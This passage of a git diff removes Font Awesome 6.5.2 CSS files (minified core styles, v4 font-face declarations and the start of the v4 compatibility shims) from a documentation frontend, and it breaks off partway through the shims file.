svg.svg-inline--fa{bottom:0;left:0;margin:auto;position:absolute;right:0;top:0}.fa-layers-counter,.fa-layers-text{display:inline-block;position:absolute;text-align:center}.fa-layers{display:inline-block;height:1em;position:relative;text-align:center;vertical-align:-.125em;width:1em}.fa-layers svg.svg-inline--fa{-webkit-transform-origin:center center;transform-origin:center center}.fa-layers-text{left:50%;top:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);-webkit-transform-origin:center center;transform-origin:center center}.fa-layers-counter{background-color:var(--fa-counter-background-color,#ff253a);border-radius:var(--fa-counter-border-radius,1em);box-sizing:border-box;color:var(--fa-inverse,#fff);line-height:var(--fa-counter-line-height,1);max-width:var(--fa-counter-max-width,5em);min-width:var(--fa-counter-min-width,1.5em);overflow:hidden;padding:var(--fa-counter-padding,.25em .5em);right:var(--fa-right,0);text-overflow:ellipsis;top:var(--fa-top,0);-webkit-transform:scale(var(--fa-counter-scale,.25));transform:scale(var(--fa-counter-scale,.25));-webkit-transform-origin:top right;transform-origin:top right}.fa-layers-bottom-right{bottom:var(--fa-bottom,0);right:var(--fa-right,0);top:auto;-webkit-transform:scale(var(--fa-layers-scale,.25));transform:scale(var(--fa-layers-scale,.25));-webkit-transform-origin:bottom right;transform-origin:bottom right}.fa-layers-bottom-left{bottom:var(--fa-bottom,0);left:var(--fa-left,0);right:auto;top:auto;-webkit-transform:scale(var(--fa-layers-scale,.25));transform:scale(var(--fa-layers-scale,.25));-webkit-transform-origin:bottom left;transform-origin:bottom left}.fa-layers-top-right{top:var(--fa-top,0);right:var(--fa-right,0);-webkit-transform:scale(var(--fa-layers-scale,.25));transform:scale(var(--fa-layers-scale,.25));-webkit-transform-origin:top right;transform-origin:top right}.fa-layers-top-left{left:var(--fa-left,0);right:auto;top:var(--fa-top,0);-webkit-transform:scale(var(--fa-layers-scale,.25));transform:scale(var(--fa-layers-scale,.25));-webkit-transform-origin:top left;transform-origin:top left}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-2xs{font-size:.625em;line-height:.1em;vertical-align:.225em}.fa-xs{font-size:.75em;line-height:.08333em;vertical-align:.125em}.fa-sm{font-size:.875em;line-height:.07143em;vertical-align:.05357em}.fa-lg{font-size:1.25em;line-height:.05em;vertical-align:-.075em}.fa-xl{font-size:1.5em;line-height:.04167em;vertical-align:-.125em}.fa-2xl{font-size:2em;line-height:.03125em;vertical-align:-.1875em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:var(--fa-li-margin,2.5em);padding-left:0}.fa-ul>li{position:relative}.fa-li{left:calc(var(--fa-li-width, 2em)*-1);position:absolute;text-align:center;width:var(--fa-li-width,2em);line-height:inherit}.fa-border{border-radius:var(--fa-border-radius,.1em);border:var(--fa-border-width,.08em) var(--fa-border-style,solid) var(--fa-border-color,#eee);padding:var(--fa-border-padding,.2em .25em .15em)}.fa-pull-left{float:left;margin-right:var(--fa-pull-margin,.3em)}.fa-pull-right{float:right;margin-left:var(--fa-pull-margin,.3em)}.fa-beat{-webkit-animation-name:fa-beat;animation-name:fa-beat;-webkit-animation-delay:var(--fa-animation-delay,0s);animation-delay:var(--fa-animation-delay,0s);-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,ease-in-out);animation-timing-function:var(--fa-animation-timing,ease-in-out)}.fa-bounce{-webkit-animation-name:fa-bounce;animation-name:fa-bounce;-webkit-animation-delay:var(--fa-animation-delay,0s);animation-delay:var(--fa-animation-delay,0s);-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,cubic-bezier(.28,.84,.42,1));animation-timing-function:var(--fa-animation-timing,cubic-bezier(.28,.84,.42,1))}.fa-fade{-webkit-animation-name:fa-fade;animation-name:fa-fade;-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,cubic-bezier(.4,0,.6,1));animation-timing-function:var(--fa-animation-timing,cubic-bezier(.4,0,.6,1))}.fa-beat-fade,.fa-fade{-webkit-animation-delay:var(--fa-animation-delay,0s);animation-delay:var(--fa-animation-delay,0s);-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s)}.fa-beat-fade{-webkit-animation-name:fa-beat-fade;animation-name:fa-beat-fade;-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,cubic-bezier(.4,0,.6,1));animation-timing-function:var(--fa-animation-timing,cubic-bezier(.4,0,.6,1))}.fa-flip{-webkit-animation-name:fa-flip;animation-name:fa-flip;-webkit-animation-delay:var(--fa-animation-delay,0s);animation-delay:var(--fa-animation-delay,0s);-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,ease-in-out);animation-timing-function:var(--fa-animation-timing,ease-in-out)}.fa-shake{-webkit-animation-name:fa-shake;animation-name:fa-shake;-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,linear);animation-timing-function:var(--fa-animation-timing,linear)}.fa-shake,.fa-spin{-webkit-animation-delay:var(--fa-animation-delay,0s);animation-delay:var(--fa-animation-delay,0s);-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal)}.fa-spin{-webkit-animation-name:fa-spin;animation-name:fa-spin;-webkit-animation-duration:var(--fa-animation-duration,2s);animation-duration:var(--fa-animation-duration,2s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,linear);animation-timing-function:var(--fa-animation-timing,linear)}.fa-spin-reverse{--fa-animation-direction:reverse}.fa-pulse,.fa-spin-pulse{-webkit-animation-name:fa-spin;animation-name:fa-spin;-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,steps(8));animation-timing-function:var(--fa-animation-timing,steps(8))}@media (prefers-reduced-motion:reduce){.fa-beat,.fa-beat-fade,.fa-bounce,.fa-fade,.fa-flip,.fa-pulse,.fa-shake,.fa-spin,.fa-spin-pulse{-webkit-animation-delay:-1ms;animation-delay:-1ms;-webkit-animation-duration:1ms;animation-duration:1ms;-webkit-animation-iteration-count:1;animation-iteration-count:1;-webkit-transition-delay:0s;transition-delay:0s;-webkit-transition-duration:0s;transition-duration:0s}}@-webkit-keyframes fa-beat{0%,90%{-webkit-transform:scale(1);transform:scale(1)}45%{-webkit-transform:scale(var(--fa-beat-scale,1.25));transform:scale(var(--fa-beat-scale,1.25))}}@keyframes fa-beat{0%,90%{-webkit-transform:scale(1);transform:scale(1)}45%{-webkit-transform:scale(var(--fa-beat-scale,1.25));transform:scale(var(--fa-beat-scale,1.25))}}@-webkit-keyframes fa-bounce{0%{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}10%{-webkit-transform:scale(var(--fa-bounce-start-scale-x,1.1),var(--fa-bounce-start-scale-y,.9)) translateY(0);transform:scale(var(--fa-bounce-start-scale-x,1.1),var(--fa-bounce-start-scale-y,.9)) translateY(0)}30%{-webkit-transform:scale(var(--fa-bounce-jump-scale-x,.9),var(--fa-bounce-jump-scale-y,1.1)) translateY(var(--fa-bounce-height,-.5em));transform:scale(var(--fa-bounce-jump-scale-x,.9),var(--fa-bounce-jump-scale-y,1.1)) translateY(var(--fa-bounce-height,-.5em))}50%{-webkit-transform:scale(var(--fa-bounce-land-scale-x,1.05),var(--fa-bounce-land-scale-y,.95)) translateY(0);transform:scale(var(--fa-bounce-land-scale-x,1.05),var(--fa-bounce-land-scale-y,.95)) translateY(0)}57%{-webkit-transform:scale(1) translateY(var(--fa-bounce-rebound,-.125em));transform:scale(1) translateY(var(--fa-bounce-rebound,-.125em))}64%{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}to{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}}@keyframes fa-bounce{0%{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}10%{-webkit-transform:scale(var(--fa-bounce-start-scale-x,1.1),var(--fa-bounce-start-scale-y,.9)) translateY(0);transform:scale(var(--fa-bounce-start-scale-x,1.1),var(--fa-bounce-start-scale-y,.9)) translateY(0)}30%{-webkit-transform:scale(var(--fa-bounce-jump-scale-x,.9),var(--fa-bounce-jump-scale-y,1.1)) translateY(var(--fa-bounce-height,-.5em));transform:scale(var(--fa-bounce-jump-scale-x,.9),var(--fa-bounce-jump-scale-y,1.1)) translateY(var(--fa-bounce-height,-.5em))}50%{-webkit-transform:scale(var(--fa-bounce-land-scale-x,1.05),var(--fa-bounce-land-scale-y,.95)) translateY(0);transform:scale(var(--fa-bounce-land-scale-x,1.05),var(--fa-bounce-land-scale-y,.95)) translateY(0)}57%{-webkit-transform:scale(1) translateY(var(--fa-bounce-rebound,-.125em));transform:scale(1) translateY(var(--fa-bounce-rebound,-.125em))}64%{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}to{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}}@-webkit-keyframes fa-fade{50%{opacity:var(--fa-fade-opacity,.4)}}@keyframes fa-fade{50%{opacity:var(--fa-fade-opacity,.4)}}@-webkit-keyframes fa-beat-fade{0%,to{opacity:var(--fa-beat-fade-opacity,.4);-webkit-transform:scale(1);transform:scale(1)}50%{opacity:1;-webkit-transform:scale(var(--fa-beat-fade-scale,1.125));transform:scale(var(--fa-beat-fade-scale,1.125))}}@keyframes fa-beat-fade{0%,to{opacity:var(--fa-beat-fade-opacity,.4);-webkit-transform:scale(1);transform:scale(1)}50%{opacity:1;-webkit-transform:scale(var(--fa-beat-fade-scale,1.125));transform:scale(var(--fa-beat-fade-scale,1.125))}}@-webkit-keyframes fa-flip{50%{-webkit-transform:rotate3d(var(--fa-flip-x,0),var(--fa-flip-y,1),var(--fa-flip-z,0),var(--fa-flip-angle,-180deg));transform:rotate3d(var(--fa-flip-x,0),var(--fa-flip-y,1),var(--fa-flip-z,0),var(--fa-flip-angle,-180deg))}}@keyframes fa-flip{50%{-webkit-transform:rotate3d(var(--fa-flip-x,0),var(--fa-flip-y,1),var(--fa-flip-z,0),var(--fa-flip-angle,-180deg));transform:rotate3d(var(--fa-flip-x,0),var(--fa-flip-y,1),var(--fa-flip-z,0),var(--fa-flip-angle,-180deg))}}@-webkit-keyframes fa-shake{0%{-webkit-transform:rotate(-15deg);transform:rotate(-15deg)}4%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}8%,24%{-webkit-transform:rotate(-18deg);transform:rotate(-18deg)}12%,28%{-webkit-transform:rotate(18deg);transform:rotate(18deg)}16%{-webkit-transform:rotate(-22deg);transform:rotate(-22deg)}20%{-webkit-transform:rotate(22deg);transform:rotate(22deg)}32%{-webkit-transform:rotate(-12deg);transform:rotate(-12deg)}36%{-webkit-transform:rotate(12deg);transform:rotate(12deg)}40%,to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes fa-shake{0%{-webkit-transform:rotate(-15deg);transform:rotate(-15deg)}4%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}8%,24%{-webkit-transform:rotate(-18deg);transform:rotate(-18deg)}12%,28%{-webkit-transform:rotate(18deg);transform:rotate(18deg)}16%{-webkit-transform:rotate(-22deg);transform:rotate(-22deg)}20%{-webkit-transform:rotate(22deg);transform:rotate(22deg)}32%{-webkit-transform:rotate(-12deg);transform:rotate(-12deg)}36%{-webkit-transform:rotate(12deg);transform:rotate(12deg)}40%,to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.fa-rotate-90{-webkit-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-webkit-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-webkit-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-webkit-transform:scaleX(-1);transform:scaleX(-1)}.fa-flip-vertical{-webkit-transform:scaleY(-1);transform:scaleY(-1)}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical{-webkit-transform:scale(-1);transform:scale(-1)}.fa-rotate-by{-webkit-transform:rotate(var(--fa-rotate-angle,0));transform:rotate(var(--fa-rotate-angle,0))}.fa-stack{display:inline-block;vertical-align:middle;height:2em;position:relative;width:2.5em}.fa-stack-1x,.fa-stack-2x{bottom:0;left:0;margin:auto;position:absolute;right:0;top:0;z-index:var(--fa-stack-z-index,auto)}.svg-inline--fa.fa-stack-1x{height:1em;width:1.25em}.svg-inline--fa.fa-stack-2x{height:2em;width:2.5em}.fa-inverse{color:var(--fa-inverse,#fff)}.fa-sr-only,.fa-sr-only-focusable:not(:focus),.sr-only,.sr-only-focusable:not(:focus){position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border-width:0}.svg-inline--fa .fa-primary{fill:var(--fa-primary-color,currentColor);opacity:var(--fa-primary-opacity,1)}.svg-inline--fa .fa-secondary{fill:var(--fa-secondary-color,currentColor)}.svg-inline--fa .fa-secondary,.svg-inline--fa.fa-swap-opacity .fa-primary{opacity:var(--fa-secondary-opacity,.4)}.svg-inline--fa.fa-swap-opacity .fa-secondary{opacity:var(--fa-primary-opacity,1)}.svg-inline--fa mask .fa-primary,.svg-inline--fa mask .fa-secondary{fill:#000}.fa-duotone.fa-inverse,.fad.fa-inverse{color:var(--fa-inverse,#fff)}
\ No newline at end of file
diff --git a/documentation/frontend/static/fontawesome/css/v4-font-face.css b/documentation/frontend/static/fontawesome/css/v4-font-face.css
deleted file mode 100644
index 9e02283..0000000
--- a/documentation/frontend/static/fontawesome/css/v4-font-face.css
+++ /dev/null
@@ -1,26 +0,0 @@
-/*!
- * Font Awesome Free 6.5.2 by @fontawesome - https://fontawesome.com
- * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
- * Copyright 2024 Fonticons, Inc.
- */
-@font-face {
- font-family: 'FontAwesome';
- font-display: block;
- src: url("../webfonts/fa-solid-900.woff2") format("woff2"), url("../webfonts/fa-solid-900.ttf") format("truetype"); }
-
-@font-face {
- font-family: 'FontAwesome';
- font-display: block;
- src: url("../webfonts/fa-brands-400.woff2") format("woff2"), url("../webfonts/fa-brands-400.ttf") format("truetype"); }
-
-@font-face {
- font-family: 'FontAwesome';
- font-display: block;
- src: url("../webfonts/fa-regular-400.woff2") format("woff2"), url("../webfonts/fa-regular-400.ttf") format("truetype");
- unicode-range: U+F003,U+F006,U+F014,U+F016-F017,U+F01A-F01B,U+F01D,U+F022,U+F03E,U+F044,U+F046,U+F05C-F05D,U+F06E,U+F070,U+F087-F088,U+F08A,U+F094,U+F096-F097,U+F09D,U+F0A0,U+F0A2,U+F0A4-F0A7,U+F0C5,U+F0C7,U+F0E5-F0E6,U+F0EB,U+F0F6-F0F8,U+F10C,U+F114-F115,U+F118-F11A,U+F11C-F11D,U+F133,U+F147,U+F14E,U+F150-F152,U+F185-F186,U+F18E,U+F190-F192,U+F196,U+F1C1-F1C9,U+F1D9,U+F1DB,U+F1E3,U+F1EA,U+F1F7,U+F1F9,U+F20A,U+F247-F248,U+F24A,U+F24D,U+F255-F25B,U+F25D,U+F271-F274,U+F278,U+F27B,U+F28C,U+F28E,U+F29C,U+F2B5,U+F2B7,U+F2BA,U+F2BC,U+F2BE,U+F2C0-F2C1,U+F2C3,U+F2D0,U+F2D2,U+F2D4,U+F2DC; }
-
-@font-face {
- font-family: 'FontAwesome';
- font-display: block;
- src: url("../webfonts/fa-v4compatibility.woff2") format("woff2"), url("../webfonts/fa-v4compatibility.ttf") format("truetype");
- unicode-range: U+F041,U+F047,U+F065-F066,U+F07D-F07E,U+F080,U+F08B,U+F08E,U+F090,U+F09A,U+F0AC,U+F0AE,U+F0B2,U+F0D0,U+F0D6,U+F0E4,U+F0EC,U+F10A-F10B,U+F123,U+F13E,U+F148-F149,U+F14C,U+F156,U+F15E,U+F160-F161,U+F163,U+F175-F178,U+F195,U+F1F8,U+F219,U+F27A; }
diff --git a/documentation/frontend/static/fontawesome/css/v4-font-face.min.css b/documentation/frontend/static/fontawesome/css/v4-font-face.min.css
deleted file mode 100644
index 140e09d..0000000
--- a/documentation/frontend/static/fontawesome/css/v4-font-face.min.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*!
- * Font Awesome Free 6.5.2 by @fontawesome - https://fontawesome.com
- * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
- * Copyright 2024 Fonticons, Inc.
- */
-@font-face{font-family:"FontAwesome";font-display:block;src:url(../webfonts/fa-solid-900.woff2) format("woff2"),url(../webfonts/fa-solid-900.ttf) format("truetype")}@font-face{font-family:"FontAwesome";font-display:block;src:url(../webfonts/fa-brands-400.woff2) format("woff2"),url(../webfonts/fa-brands-400.ttf) format("truetype")}@font-face{font-family:"FontAwesome";font-display:block;src:url(../webfonts/fa-regular-400.woff2) format("woff2"),url(../webfonts/fa-regular-400.ttf) format("truetype");unicode-range:u+f003,u+f006,u+f014,u+f016-f017,u+f01a-f01b,u+f01d,u+f022,u+f03e,u+f044,u+f046,u+f05c-f05d,u+f06e,u+f070,u+f087-f088,u+f08a,u+f094,u+f096-f097,u+f09d,u+f0a0,u+f0a2,u+f0a4-f0a7,u+f0c5,u+f0c7,u+f0e5-f0e6,u+f0eb,u+f0f6-f0f8,u+f10c,u+f114-f115,u+f118-f11a,u+f11c-f11d,u+f133,u+f147,u+f14e,u+f150-f152,u+f185-f186,u+f18e,u+f190-f192,u+f196,u+f1c1-f1c9,u+f1d9,u+f1db,u+f1e3,u+f1ea,u+f1f7,u+f1f9,u+f20a,u+f247-f248,u+f24a,u+f24d,u+f255-f25b,u+f25d,u+f271-f274,u+f278,u+f27b,u+f28c,u+f28e,u+f29c,u+f2b5,u+f2b7,u+f2ba,u+f2bc,u+f2be,u+f2c0-f2c1,u+f2c3,u+f2d0,u+f2d2,u+f2d4,u+f2dc}@font-face{font-family:"FontAwesome";font-display:block;src:url(../webfonts/fa-v4compatibility.woff2) format("woff2"),url(../webfonts/fa-v4compatibility.ttf) format("truetype");unicode-range:u+f041,u+f047,u+f065-f066,u+f07d-f07e,u+f080,u+f08b,u+f08e,u+f090,u+f09a,u+f0ac,u+f0ae,u+f0b2,u+f0d0,u+f0d6,u+f0e4,u+f0ec,u+f10a-f10b,u+f123,u+f13e,u+f148-f149,u+f14c,u+f156,u+f15e,u+f160-f161,u+f163,u+f175-f178,u+f195,u+f1f8,u+f219,u+f27a}
\ No newline at end of file
diff --git a/documentation/frontend/static/fontawesome/css/v4-shims.css b/documentation/frontend/static/fontawesome/css/v4-shims.css
deleted file mode 100644
index ea60ea4..0000000
--- a/documentation/frontend/static/fontawesome/css/v4-shims.css
+++ /dev/null
@@ -1,2194 +0,0 @@
-/*!
- * Font Awesome Free 6.5.2 by @fontawesome - https://fontawesome.com
- * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
- * Copyright 2024 Fonticons, Inc.
- */
-.fa.fa-glass:before {
- content: "\f000"; }
-
-.fa.fa-envelope-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-envelope-o:before {
- content: "\f0e0"; }
-
-.fa.fa-star-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-star-o:before {
- content: "\f005"; }
-
-.fa.fa-remove:before {
- content: "\f00d"; }
-
-.fa.fa-close:before {
- content: "\f00d"; }
-
-.fa.fa-gear:before {
- content: "\f013"; }
-
-.fa.fa-trash-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-trash-o:before {
- content: "\f2ed"; }
-
-.fa.fa-home:before {
- content: "\f015"; }
-
-.fa.fa-file-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-file-o:before {
- content: "\f15b"; }
-
-.fa.fa-clock-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-clock-o:before {
- content: "\f017"; }
-
-.fa.fa-arrow-circle-o-down {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-arrow-circle-o-down:before {
- content: "\f358"; }
-
-.fa.fa-arrow-circle-o-up {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-arrow-circle-o-up:before {
- content: "\f35b"; }
-
-.fa.fa-play-circle-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-play-circle-o:before {
- content: "\f144"; }
-
-.fa.fa-repeat:before {
- content: "\f01e"; }
-
-.fa.fa-rotate-right:before {
- content: "\f01e"; }
-
-.fa.fa-refresh:before {
- content: "\f021"; }
-
-.fa.fa-list-alt {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-list-alt:before {
- content: "\f022"; }
-
-.fa.fa-dedent:before {
- content: "\f03b"; }
-
-.fa.fa-video-camera:before {
- content: "\f03d"; }
-
-.fa.fa-picture-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-picture-o:before {
- content: "\f03e"; }
-
-.fa.fa-photo {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-photo:before {
- content: "\f03e"; }
-
-.fa.fa-image {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-image:before {
- content: "\f03e"; }
-
-.fa.fa-map-marker:before {
- content: "\f3c5"; }
-
-.fa.fa-pencil-square-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-pencil-square-o:before {
- content: "\f044"; }
-
-.fa.fa-edit {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-edit:before {
- content: "\f044"; }
-
-.fa.fa-share-square-o:before {
- content: "\f14d"; }
-
-.fa.fa-check-square-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-check-square-o:before {
- content: "\f14a"; }
-
-.fa.fa-arrows:before {
- content: "\f0b2"; }
-
-.fa.fa-times-circle-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-times-circle-o:before {
- content: "\f057"; }
-
-.fa.fa-check-circle-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-check-circle-o:before {
- content: "\f058"; }
-
-.fa.fa-mail-forward:before {
- content: "\f064"; }
-
-.fa.fa-expand:before {
- content: "\f424"; }
-
-.fa.fa-compress:before {
- content: "\f422"; }
-
-.fa.fa-eye {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-eye-slash {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-warning:before {
- content: "\f071"; }
-
-.fa.fa-calendar:before {
- content: "\f073"; }
-
-.fa.fa-arrows-v:before {
- content: "\f338"; }
-
-.fa.fa-arrows-h:before {
- content: "\f337"; }
-
-.fa.fa-bar-chart:before {
- content: "\e0e3"; }
-
-.fa.fa-bar-chart-o:before {
- content: "\e0e3"; }
-
-.fa.fa-twitter-square {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-twitter-square:before {
- content: "\f081"; }
-
-.fa.fa-facebook-square {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-facebook-square:before {
- content: "\f082"; }
-
-.fa.fa-gears:before {
- content: "\f085"; }
-
-.fa.fa-thumbs-o-up {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-thumbs-o-up:before {
- content: "\f164"; }
-
-.fa.fa-thumbs-o-down {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-thumbs-o-down:before {
- content: "\f165"; }
-
-.fa.fa-heart-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-heart-o:before {
- content: "\f004"; }
-
-.fa.fa-sign-out:before {
- content: "\f2f5"; }
-
-.fa.fa-linkedin-square {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-linkedin-square:before {
- content: "\f08c"; }
-
-.fa.fa-thumb-tack:before {
- content: "\f08d"; }
-
-.fa.fa-external-link:before {
- content: "\f35d"; }
-
-.fa.fa-sign-in:before {
- content: "\f2f6"; }
-
-.fa.fa-github-square {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-github-square:before {
- content: "\f092"; }
-
-.fa.fa-lemon-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-lemon-o:before {
- content: "\f094"; }
-
-.fa.fa-square-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-square-o:before {
- content: "\f0c8"; }
-
-.fa.fa-bookmark-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-bookmark-o:before {
- content: "\f02e"; }
-
-.fa.fa-twitter {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-facebook {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-facebook:before {
- content: "\f39e"; }
-
-.fa.fa-facebook-f {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-facebook-f:before {
- content: "\f39e"; }
-
-.fa.fa-github {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-credit-card {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-feed:before {
- content: "\f09e"; }
-
-.fa.fa-hdd-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-hdd-o:before {
- content: "\f0a0"; }
-
-.fa.fa-hand-o-right {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-hand-o-right:before {
- content: "\f0a4"; }
-
-.fa.fa-hand-o-left {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-hand-o-left:before {
- content: "\f0a5"; }
-
-.fa.fa-hand-o-up {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-hand-o-up:before {
- content: "\f0a6"; }
-
-.fa.fa-hand-o-down {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-hand-o-down:before {
- content: "\f0a7"; }
-
-.fa.fa-globe:before {
- content: "\f57d"; }
-
-.fa.fa-tasks:before {
- content: "\f828"; }
-
-.fa.fa-arrows-alt:before {
- content: "\f31e"; }
-
-.fa.fa-group:before {
- content: "\f0c0"; }
-
-.fa.fa-chain:before {
- content: "\f0c1"; }
-
-.fa.fa-cut:before {
- content: "\f0c4"; }
-
-.fa.fa-files-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-files-o:before {
- content: "\f0c5"; }
-
-.fa.fa-floppy-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-floppy-o:before {
- content: "\f0c7"; }
-
-.fa.fa-save {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-save:before {
- content: "\f0c7"; }
-
-.fa.fa-navicon:before {
- content: "\f0c9"; }
-
-.fa.fa-reorder:before {
- content: "\f0c9"; }
-
-.fa.fa-magic:before {
- content: "\e2ca"; }
-
-.fa.fa-pinterest {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-pinterest-square {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-pinterest-square:before {
- content: "\f0d3"; }
-
-.fa.fa-google-plus-square {
